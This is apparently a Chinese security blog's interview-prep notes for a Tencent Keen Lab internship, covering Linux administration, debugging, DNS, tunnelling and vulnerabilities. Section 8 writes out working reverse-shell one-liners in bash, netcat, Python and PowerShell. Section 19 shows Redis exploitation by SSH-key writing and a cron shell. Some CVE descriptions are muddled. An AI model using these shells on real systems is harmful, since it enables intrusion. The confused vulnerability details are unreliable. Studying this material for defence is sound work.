网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
20. runc容器逃逸漏洞(CVE-2021-30465)
22. MySQL UAF漏洞(CVE-2016-6662)
腾讯科恩实验室实习 二面
linux开机自启的方式 init.d脚本介绍 linux怎么查看程序点用了哪些文件 如何监控linux文件操作 linux有哪些系统调用 GDB调试 查看linux开放的网络端口、多线程状态 反弹shell的方式 linux下怎么隐藏文件 子域名收集方式 DNS重绑定 DNS解析的流程 CC流量 SSH隧道、UDP穿越隧道 https证书机制介绍 burp一些使用防范,插件开发方法 nmap的基本操作 syn开放链接原理 redis漏洞原理 runc容器逃逸原理 常见waf种类 MYSql的UAF Linux进程通信
一、Linux系统管理
1. Linux开机自启的5种方式
systemd服务(主流方式)bash
# 创建服务文件 sudo nano /etc/systemd/system/myapp.service # 内容示例: [Unit] Description=MyApp After=network.target [Service] ExecStart=/usr/bin/myapp Restart=always [Install] WantedBy=multi-user.target # 启用服务 sudo systemctl enable myapp.service
crontab定时任务 bash
@reboot /path/to/script.sh
/etc/rc.local (旧版本兼容)bash
echo "/path/to/command" >> /etc/rc.local chmod +x /etc/rc.local
桌面环境自启(如GNOME)
- 将.desktop文件放入
~/.config/autostart/
。init.d脚本(System V兼容)bash
sudo update-rc.d myscript defaults
2. init.d脚本详解
- 作用:System V init系统的服务管理脚本,用于启动、停止、重启服务。
- 核心结构:bash
#!/bin/bash case "$1" in start) /path/to/start_command ;; stop) /path/to/stop_command ;; restart) $0 stop $0 start ;; esac
- 管理命令:
service myscript start
或/etc/init.d/myscript start
。
3. 查看程序占用文件
- lsof命令(实时查看):bash
lsof -p <PID> # 查看进程打开的文件 lsof /var/log/syslog # 查看某个文件被哪些进程使用
- strace跟踪系统调用:bash
strace -e trace=open,read,write -p <PID>
4. 监控Linux文件操作
- inotify-tools工具:bash
inotifywait -m -r /path/to/dir # 实时监控目录变化
- auditd框架(企业级审计):bash
auditctl -w /etc/passwd -p warx -k password_file # 监控passwd文件读写 ausearch -k password_file # 查询审计日志
二、系统调用与调试
5. Linux系统调用分类
类别 示例调用 功能说明 文件操作 open()
,read()
,write()
文件读写与权限管理 进程控制 fork()
,execve()
,exit()
进程创建与终止 网络通信 socket()
,bind()
,send()
网络连接与数据传输 内存管理 mmap()
,brk()
内存分配与映射
6. GDB调试核心技巧
- 基础命令:bash
gdb -p <PID> # 附加到进程 break main # 设置断点 info registers # 查看寄存器 x/10i $pc # 反汇编当前指令
- 分析核心转储:bash
ulimit -c unlimited # 启用核心转储 gdb /path/to/program core # 分析崩溃文件
三、网络与安全
7. 查看网络端口与线程状态
- 开放端口:bash
ss -tulnp # 显示所有监听端口(替代netstat)
- 多线程状态:bash
top -H -p <PID> # 查看进程的线程资源占用 ps -T -p <PID> # 显示线程列表
8. 反弹Shell的5种方式
- Bash反向Shell:bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
- Netcat监听:bash
nc -e /bin/sh 10.0.0.1 4444
- Python反向Shell:python
import socket,subprocess,os s=socket.socket();s.connect(("10.0.0.1",4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) subprocess.call(["/bin/sh","-i"])
- PowerShell反向Shell:powershell
$client = New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$smsg = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($smsg,0,$smsg.Length);$stream.Flush()}
- Socat加密Shell:bash
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
9. Linux隐藏文件的3种方法
- 基础隐藏:文件名以
.
开头(如.secret
)。- 文件属性:bash
chattr +i .hidden_file # 设置不可修改/删除
- 内核模块:通过修改
ls
命令行为或文件系统驱动(如rootkit)。
四、渗透与防御技术
10. 子域名收集的5种方式
- 字典爆破:使用工具
subbrute
或dnsrecon
。- 证书透明度:通过
crt.sh
查询证书关联域名。- 搜索引擎:Google语法
site:example.com
。- DNS区域传输:尝试
dig axfr @ns1.example.com example.com
。- API接口:使用Sublist3r集成多个数据源(如VirusTotal)。
11. DNS重绑定攻击原理
- 攻击流程:
- 攻击者控制域名
evil.com
,设置极短的TTL(如1秒)。- 首次解析返回合法IP(绕过同源策略)。
- 二次解析返回内网IP(如
192.168.1.1
),绕过浏览器限制。- 防御:
- 限制DNS响应IP范围。
- 使用DNS黑名单过滤内网地址。
12. DNS解析流程
- 本地缓存:检查浏览器、系统、路由器的DNS缓存。
- 递归查询:向配置的DNS服务器(如
8.8.8.8
)发起请求。- 根域名服务器:获取顶级域(如
.com
)的权威服务器。- TLD服务器:指向域名的权威DNS服务器。
- 权威服务器:返回最终的A记录或CNAME记录。
13. CC流量特征与防御
- 特征:高频HTTP请求(如刷接口)、固定User-Agent、IP池轮换。
- 防御:
- 速率限制(Nginx的
limit_req
模块)。- 验证码挑战(如Google reCAPTCHA)。
- 行为分析(基于请求时序和路径异常)。
14. SSH隧道与UDP穿透
- SSH本地端口转发:bash
ssh -L 8080:localhost:80 user@jumpserver # 将本地8080转发到jumpserver的80端口
- UDP隧道工具:bash
socat UDP-LISTEN:53,fork TCP:1.2.3.4:53 # 将UDP 53端口转发到TCP
五、协议与开发工具
15. HTTPS证书机制
- 流程:
- 客户端发送支持的加密套件列表。
- 服务端返回证书(含公钥和CA签名)。
- 客户端验证证书链(根CA→中间CA→服务端证书)。
- 协商对称密钥(如ECDHE密钥交换)。
- 证书类型:DV(域名验证)、OV(组织验证)、EV(扩展验证)。
16. Burp Suite使用防范与插件开发
- 安全操作:
- 关闭不必要模块(如Collaborator)。
- 设置项目级会话隔离。
- 插件开发:
- 使用Java API扩展功能(如自定义扫描逻辑)。
- 示例代码结构:java
public class MyPlugin implements IBurpExtender { @Override public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { callbacks.setExtensionName("My Plugin"); } }
17. Nmap基本操作命令
- 主机发现:bash
nmap -sn 192.168.1.0/24 # Ping扫描
- 端口扫描:bash
nmap -sS -T4 -p 1-65535 target.com # SYN扫描
- 服务识别:bash
nmap -sV -sC target.com # 版本探测+默认脚本
六、漏洞与容器安全
18. SYN开放链接原理(半连接攻击)
- 原理:发送大量SYN包但不完成三次握手,耗尽服务端连接队列。
- 检测:
netstat -n -p TCP | grep SYN_RECV
。- 防御:调整
net.ipv4.tcp_max_syn_backlog
和启用SYN Cookie。
19. Redis未授权访问漏洞
- 利用场景:
- 写入SSH公钥:
redis-cli -h 目标IP set payload "\n\nssh-rsa AAAAB3...\n\n"
。- 计划任务反弹Shell:
config set dir /var/spool/cron/
。- 防御:绑定IP、启用认证、禁用高危命令。
20. runc容器逃逸漏洞(CVE-2021-30465)
- 原理:通过恶意容器镜像覆盖宿主机runc二进制文件。
- 复现步骤:
- 构造恶意镜像覆盖
/proc/self/exe
。- 触发runc执行时加载宿主机文件。
- 修复:升级runc版本,限制容器权限。
七、WAF与数据库安全
21. 常见WAF种类
- 云WAF:Cloudflare、AWS Shield。
- 硬件WAF:Imperva、F5 ASM。
- 软件WAF:ModSecurity(Nginx插件)。
- 内嵌WAF:WordPress插件(如Wordfence)。
22. MySQL UAF漏洞(CVE-2016-6662)
- 原理:通过
mysqld_safe
脚本竞争条件导致权限提升。- 利用:替换合法配置文件执行恶意代码。
- 修复:升级MySQL版本,限制配置文件权限。
八、进程通信方式
23. Linux进程通信5种方式
- 管道(Pipe):单向通信,用于父子进程(
ls | grep txt
)。- 信号(Signal):异步通知(如
kill -9 PID
发送SIGKILL)。- 共享内存(Shared Memory):高效数据共享,需同步机制。
- 消息队列(Message Queue):结构化数据传输(
msgget
/msgsnd
)。- Socket通信:跨网络进程交互(如TCP/UDP Socket)。